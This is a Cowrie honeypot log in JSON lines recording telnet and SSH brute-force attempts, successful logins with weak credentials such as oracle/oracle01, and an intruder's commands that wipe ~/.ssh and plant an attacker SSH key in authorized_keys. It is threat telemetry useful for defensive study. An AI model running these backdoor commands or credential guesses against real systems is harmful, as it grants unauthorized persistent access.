{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13458,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f5d8b2056e","protocol":"telnet","message":"New connection: 34.62.3.232:13458 (10.17.0.5:23) [session: 79f5d8b2056e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.035385Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13460,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76b7aba5e0d","protocol":"telnet","message":"New connection: 34.62.3.232:13460 (10.17.0.5:23) [session: f76b7aba5e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.188965Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13462,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3b10350445","protocol":"telnet","message":"New connection: 34.62.3.232:13462 (10.17.0.5:23) [session: 7b3b10350445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.345182Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.158.34","src_port":41112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3816f75e4a6a","protocol":"ssh","message":"New connection: 51.77.158.34:41112 (10.17.0.5:22) [session: 3816f75e4a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.493696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.497223Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13476,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0bfda7416a","protocol":"telnet","message":"New connection: 34.62.3.232:13476 (10.17.0.5:23) [session: be0bfda7416a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.501125Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.579549Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13480,"dst_ip":"10.17.0.5","dst_port":23,"session":"0121de20ee38","protocol":"telnet","message":"New connection: 34.62.3.232:13480 (10.17.0.5:23) [session: 0121de20ee38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.655344Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13496,"dst_ip":"10.17.0.5","dst_port":23,"session":"b29f6f1beb79","protocol":"telnet","message":"New connection: 34.62.3.232:13496 (10.17.0.5:23) [session: b29f6f1beb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.810116Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.815130Z","src_ip":"34.62.3.232","session":"b29f6f1beb79","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle01","message":"login attempt [oracle/oracle01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.940863Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13504,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c99e75134cc","protocol":"telnet","message":"New connection: 34.62.3.232:13504 (10.17.0.5:23) [session: 1c99e75134cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:39.971049Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.153373Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.155950Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.158795Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13516,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d4eecd93e5","protocol":"telnet","message":"New connection: 34.62.3.232:13516 (10.17.0.5:23) [session: 66d4eecd93e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.164522Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.245596Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94265b55472","protocol":"telnet","message":"New connection: 34.62.3.232:13520 (10.17.0.5:23) [session: e94265b55472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.318527Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.446847Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.449886Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13536,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9a14f28f72","protocol":"telnet","message":"New connection: 34.62.3.232:13536 (10.17.0.5:23) [session: 5a9a14f28f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.472421Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.536132Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.538702Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.158.34","src_port":41128,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3a7c291f1c","protocol":"ssh","message":"New connection: 51.77.158.34:41128 (10.17.0.5:22) [session: 1d3a7c291f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.619022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.623188Z","src_ip":"51.77.158.34","session":"1d3a7c291f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4aa2d4b146","protocol":"telnet","message":"New connection: 34.62.3.232:13544 (10.17.0.5:23) [session: 4f4aa2d4b146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.627324Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.707911Z","src_ip":"51.77.158.34","session":"1d3a7c291f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2eba840e80","protocol":"telnet","message":"New connection: 34.62.3.232:13548 (10.17.0.5:23) [session: 8c2eba840e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.779438Z"}
{"eventid":"cowrie.session.closed","duration":0.005026817321777344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.784362Z","src_ip":"34.62.3.232","session":"8c2eba840e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13552,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b8996baa1b","protocol":"telnet","message":"New connection: 34.62.3.232:13552 (10.17.0.5:23) [session: 78b8996baa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:40.935601Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:41.077260Z","src_ip":"51.77.158.34","session":"1d3a7c291f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.3.232","src_port":13558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0da00992fe8","protocol":"telnet","message":"New connection: 34.62.3.232:13558 (10.17.0.5:23) [session: d0da00992fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:41.088470Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 439","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 439] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:41.092956Z","src_ip":"34.62.3.232","session":"d0da00992fe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.165293Z","src_ip":"51.77.158.34","session":"1d3a7c291f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.158.34","src_port":41136,"dst_ip":"10.17.0.5","dst_port":22,"session":"080751ebb2f3","protocol":"ssh","message":"New connection: 51.77.158.34:41136 (10.17.0.5:22) [session: 080751ebb2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.246466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.250624Z","src_ip":"51.77.158.34","session":"080751ebb2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.335498Z","src_ip":"51.77.158.34","session":"080751ebb2f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.709580Z","src_ip":"51.77.158.34","session":"080751ebb2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.797002Z","src_ip":"51.77.158.34","session":"3816f75e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:42.805034Z","src_ip":"51.77.158.34","session":"080751ebb2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.60796594619751,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.772401Z","src_ip":"34.62.3.232","session":"66d4eecd93e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.806317567825317,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.777262Z","src_ip":"34.62.3.232","session":"1c99e75134cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.970247030258179,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.780242Z","src_ip":"34.62.3.232","session":"b29f6f1beb79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.127766370773315,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.783024Z","src_ip":"34.62.3.232","session":"0121de20ee38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.284876585006714,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.785940Z","src_ip":"34.62.3.232","session":"be0bfda7416a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.446061849594116,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.791105Z","src_ip":"34.62.3.232","session":"7b3b10350445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.605158567428589,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.793995Z","src_ip":"34.62.3.232","session":"f76b7aba5e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.76141881942749,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.796683Z","src_ip":"34.62.3.232","session":"79f5d8b2056e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.923598051071167,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.800728Z","src_ip":"34.62.3.232","session":"305f66553319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.079381704330444,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.803227Z","src_ip":"34.62.3.232","session":"08166b92834b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.234920740127563,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.805658Z","src_ip":"34.62.3.232","session":"66257173a99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.548537969589233,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.808192Z","src_ip":"34.62.3.232","session":"e772237b29cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.405080795288086,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.810473Z","src_ip":"34.62.3.232","session":"6528c95a6432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.780123949050903,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.812371Z","src_ip":"34.62.3.232","session":"76f83aa9e3d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.093535900115967,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.814532Z","src_ip":"34.62.3.232","session":"bb50fa4f4ff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.937573909759521,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.816352Z","src_ip":"34.62.3.232","session":"6928d1009274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.255127429962158,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.818116Z","src_ip":"34.62.3.232","session":"8283736d6640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.571269512176514,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.822061Z","src_ip":"34.62.3.232","session":"a77eac6627d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.730472803115845,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.825039Z","src_ip":"34.62.3.232","session":"b7891e37a21d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.88861894607544,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.827895Z","src_ip":"34.62.3.232","session":"04a8a8b3a266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.04753613471985,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.830976Z","src_ip":"34.62.3.232","session":"c067f1bf42b1","protocol":"telnet"}
